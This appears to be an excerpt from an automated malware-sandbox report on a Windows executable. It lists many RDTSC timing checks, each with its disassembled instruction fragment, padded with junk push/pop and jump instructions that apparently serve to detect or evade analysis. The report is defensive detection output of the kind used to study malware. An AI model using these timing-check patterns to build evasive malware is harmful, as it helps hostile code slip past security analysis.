Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3499 second address: 13C34C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CCCh 0x00000009 popad 0x0000000a jmp 00007F1760BC2CD1h 0x0000000f je 00007F1760BC2CCEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481336 second address: 1481346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007F176074C076h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F67C second address: 147F680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F680 second address: 147F684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F684 second address: 147F68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F68E second address: 147F692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F692 second address: 147F698 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F698 second address: 147F6A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F6A1 second address: 147F6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1760BC2CC6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F6AF second address: 147F6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F95E second address: 147F97F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1760BC2CD7h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FACF second address: 147FAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C085h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FAED second address: 147FAF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FAF3 second address: 147FAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FD9C second address: 147FDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FDA2 second address: 147FDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F176074C076h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FF03 second address: 147FF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F1760BC2CCBh 0x00000010 js 00007F1760BC2CD2h 0x00000016 jmp 00007F1760BC2CCCh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147FF41 second address: 147FF50 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F176074C076h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480080 second address: 148009B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1760BC2CD5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480343 second address: 1480359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C082h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480359 second address: 148037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1760BC2CCCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147F133 second address: 147F144 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F176074C078h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14881FB second address: 148820F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1760BC2CD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148820F second address: 1488219 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F176074C076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488379 second address: 14883DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1760BC2CCAh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 js 00007F1760BC2CC8h 0x00000019 push esi 0x0000001a pop esi 0x0000001b jc 00007F1760BC2CE9h 0x00000021 jmp 00007F1760BC2CD4h 0x00000026 jmp 00007F1760BC2CCFh 0x0000002b push edx 0x0000002c jbe 00007F1760BC2CC6h 0x00000032 pop edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 jmp 00007F1760BC2CD0h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148850E second address: 1488525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F176074C080h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14953C7 second address: 14953D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F1760BC2CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494F9B second address: 1494FB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F176074C07Ch 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FB1 second address: 1494FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F1760BC2CCFh 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FCE second address: 1494FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FD2 second address: 1494FDC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FDC second address: 1494FF4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F176074C082h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FF4 second address: 1494FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494FF8 second address: 1494FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149A123 second address: 149A12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149A12D second address: 149A131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A000A second address: 14A000F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A000F second address: 14A002D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F176074C090h 0x00000008 jmp 00007F176074C084h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A002D second address: 14A0039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0039 second address: 14A0041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A871F second address: 14A8727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A8727 second address: 14A8757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jg 00007F176074C078h 0x0000000b popad 0x0000000c pushad 0x0000000d jbe 00007F176074C07Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F176074C085h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9F08 second address: 13C9F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1760BC2CD4h 0x0000000e jmp 00007F1760BC2CD2h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9F42 second address: 13C9F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F176074C076h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9F50 second address: 13C9F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1760BC2CD7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A85E3 second address: 14A85EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F176074C076h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AFF71 second address: 14AFF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AFF77 second address: 14AFF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AFF7C second address: 14AFF95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1760BC2CC6h 0x00000009 jmp 00007F1760BC2CCEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AE77E second address: 14AE782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AE782 second address: 14AE7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 jl 00007F1760BC2CC6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1760BC2CCFh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEAA8 second address: 14AEAB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEAB6 second address: 14AEABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEABA second address: 14AEAD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F176074C07Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEAD1 second address: 14AEAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEC00 second address: 14AEC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEEA5 second address: 14AEEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEEAA second address: 14AEEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F176074C076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AEEB4 second address: 14AEEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF215 second address: 14AF223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF223 second address: 14AF227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF227 second address: 14AF22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF22B second address: 14AF233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF233 second address: 14AF238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF238 second address: 14AF23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF23E second address: 14AF24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F176074C076h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AFC51 second address: 14AFC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B73B8 second address: 14B73D7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F176074C082h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jo 00007F176074C07Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BBED7 second address: 14BBEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BD6BA second address: 14BD6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BD6C0 second address: 14BD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BD6C5 second address: 14BD6FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C083h 0x00000007 pushad 0x00000008 jmp 00007F176074C085h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C0877 second address: 14C0886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F1760BC2CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C0886 second address: 14C08A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C084h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D1D3F second address: 14D1D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F1760BC2CC6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 jng 00007F1760BC2CCCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D3BF0 second address: 14D3C1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F176074C076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jns 00007F176074C076h 0x00000013 jmp 00007F176074C088h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D37BD second address: 14D37C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D37C3 second address: 14D37C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D3918 second address: 14D3920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E34C5 second address: 14E34D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F176074C07Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E34D2 second address: 14E34D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E34D6 second address: 14E34DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E34DC second address: 14E34E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E34E2 second address: 14E34FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F176074C083h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4169 second address: 14E4186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4186 second address: 14E418A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E418A second address: 14E418E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E6D98 second address: 14E6D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E6F9C second address: 14E6FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E732A second address: 14E732E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E732E second address: 14E7332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E84A7 second address: 14E84DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C086h 0x00000007 jmp 00007F176074C083h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F176074C076h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E84DE second address: 14E84E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E84E2 second address: 14E84E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E84E8 second address: 14E84EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD5B2 second address: 13CD5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F176074C085h 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F176074C078h 0x00000014 pushad 0x00000015 jmp 00007F176074C07Ah 0x0000001a jmp 00007F176074C082h 0x0000001f jnl 00007F176074C076h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9C7A second address: 14E9C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9C7E second address: 14E9C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9C86 second address: 14E9C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
